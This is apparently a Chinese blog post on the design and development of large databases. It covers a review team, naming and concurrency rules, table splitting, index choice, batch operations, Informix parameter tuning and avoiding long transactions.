相对于中小型数据库，大型数据库的设计与开发要复杂得多，因此在设计、开发过程中，除了要遵循数据库范式理论、增加系统的一致性和完整性外，还要在总体上根据具体情况进行分布式设计，紧紧把握集中控制、统一审核的基本原则，保证数据库设计结构紧凑、分布平衡、定位迅速。在数据库操作上，要采用一定的技巧提高整个应用系统的执行效率，并注意适当超前，以适应不断变化的应用及系统发展的要求。
一、成立数据小组 大型数据库数据元素多，在设计上有必要成立专门的数据小组。由于数据库设计者不一定是使用者，对系统设计中的数据元素不可能考虑周全，数据库设计出来后，往往难以找到所需的库表，因此数据小组最好由熟悉业务的项目骨干组成。 数据小组的职能并非是设计数据库，而是通过需求分析，在参考其他相似系统的基础上，提取系统的基本数据元素，担负对数据库的审核。审核内容包括审核新的数据库元素是否完全、能否实现全部业务需求；对旧数据库（如果存在旧系统）的分析及数据转换；数据库设计的审核、控制及必要调整。
二、设计原则
１．规范命名。所有的库名、表名、域名必须遵循统一的命名规则，并进行必要说明，以方便设计、维护、查询。 ２．控制字段的引用。在设计时，可以选择适当的数据库设计管理工具，以方便开发人员的分布式设计和数据小组的集中审核管理。采用统一的命名规则，如果设计的字段已经存在，可直接引用；否则，应重新设计。 ３．库表重复控制。在设计过程中，如果发现大部分字段都已存在，开发人员应怀疑所设计的库表是否已存在。通过对字段所在库表及相应设计人员的查询，可以确认库表是否确实重复。 ４．并发控制。设计中应进行并发控制，即对于同一个库表，在同一时间只有一个人有控制权，其他人只能进行查询。 ５．必要的讨论。数据库设计完成后，数据小组应与相关人员进行讨论，通过讨论来熟悉数据库，从而对设计中存在的问题进行控制或从中获取数据库设计的必要信息。 ６．数据小组的审核。库表的定版、修改最终都要通过数据小组的审核，以保证符合必要的要求。 ７．头文件处理。每次数据修改后，数据小组要对相应的头文件进行修改（可由管理软件自动完成），并通知相关的开发人员，以便进行相应的程序修改。
三、设计技巧
１．分类拆分数据量大的表。对于经常使用的表（如某些参数表或代码对照表），由于其使用频率很高，要尽量减少表中的记录数量。例如，银行的户主账表原来设计成一张表，虽然可以方便程序的设计与维护，但经过分析发现，由于数据量太大，会影响数据的迅速定位。如果将户主账表分别设计为活期户主账、定期户主账及对公户主账等，则可以大大提高查询效率。 ２．索引设计。对于大的数据库表，合理的索引能够提高整个数据库的操作效率。在索引设计中，索引字段应挑选重复值较少的字段；在对建有复合索引的字段进行检索时，应注意按照复合索引字段建立的顺序进行。例如，如果对一个５万多条记录的流水表以日期和流水号为序建立复合索引，由于在该表中日期的重复值接近整个表的记录数，用流水号进行查询所用的时间接近３秒；而如果以流水号为索引字段建立索引进行相同的查询，所用时间不到１秒。因此在大型数据库设计中，只有进行合理的索引字段选择，才能有效提高整个数据库的操作效率。 ３．数据操作的优化。在大型数据库中，如何提高数据操作效率值得关注。例如，每在数据库流水表中增加一笔业务，就必须从流水控制表中取出流水号，并将其流水号的数值加一。正常情况下，单笔操作的反应速度尚属正常，但当用它进行批量业务处理时，速度会明显减慢。经过分析发现，每次对流水控制表中的流水号数值加一时都要锁定该表，而该表却是整个系统操作的核心，有可能在操作时被其他进程锁定，因而使整个事务操作速度变慢。对这一问题的解决的办法是，根据批量业务的总笔数批量申请流水号，并对流水控制表进行一次更新，即可提高批量业务处理的速度。另一个例子是对插表的优化。对于大批量的业务处理，如果在插入数据库表时用普通的Ｉｎｓｅｒｔ语句，速度会很慢。其原因在于，每次插表都要进行一次Ｉ/Ｏ操作，花费较长的时间。改进后，可以用Ｐｕｔ语句等缓冲区形式等满页后再进行Ｉ/Ｏ操作，从而提高效率。对大的数据库表进行删除时，一般会直接用Ｄｅｌｅｔｅ语句，这个语句虽然可以进行小表操作，但对大表却会因带来大事务而导致删除速度很慢甚至失败。解决的方法是去掉事务，但更有效的办法是先进行Ｄｒｏｐ操作再进行重建。 ４．数据库参数的调整。数据库参数的调整是一个经验不断积累的过程，应由有经验的系统管理员完成。以Ｉｎｆｏｒｍｉｘ数据库为例，记录锁的数目太少会造成锁表的失败；逻辑日志的文件数目太少会造成插入大表失败等，这些问题都应根据实际情况进行必要的调整。 ５．必要的工具。在整个数据库的开发与设计过程中，可以先开发一些小的应用工具，如自动生成库表的头文件、插入数据的初始化、数据插入的函数封装、错误跟踪或自动显示等，以此提高数据库的设计与开发效率。 ６．避免长事务。对单个大表的删除或插入操作会带来大事务，解决的办法是对参数进行调整，也可以在插入时对文件进行分割。对于一个由一系列小事务顺序操作共同构成的长事务（如银行交易系统的日终交易），可以由一系列操作完成整个事务，但其缺点是有可能因整个事务太大而使不能完成，或者，由于偶然的意外而使事务重做所需的时间太长。较好的解决方法是，把整个事务分解成几个较小的事务，再由应用程序控制整个系统的流程。这样，如果其中某个事务不成功，则只需重做该事务，因而既可节约时间，又可避免长事务。 ７．适当超前。计算机技术发展日新月异，数据库的设计必须具有一定前瞻性，不但要满足当前的应用要求，还要考虑未来的业务发展，同时必须有利于扩展或增加应用系统的处理功能。
相对于中小型数据库，大型数据库的设计与开发要复杂得多，因此在设计、开发过程中，除了要遵循数据库范式理论、增加系统的一致性和完整性外，还要在总体上根据具体情况进行分布式设计，紧紧把握集中控制、统一审核的基本原则，保证数据库设计结构紧凑、分布平衡、定位迅速。在数据库操作上，要采用一定的技巧提高整个应用系统的执行效率，并注意适当超前，以适应不断变化的应用及系统发展的要求。
订阅：
博文 (Atom)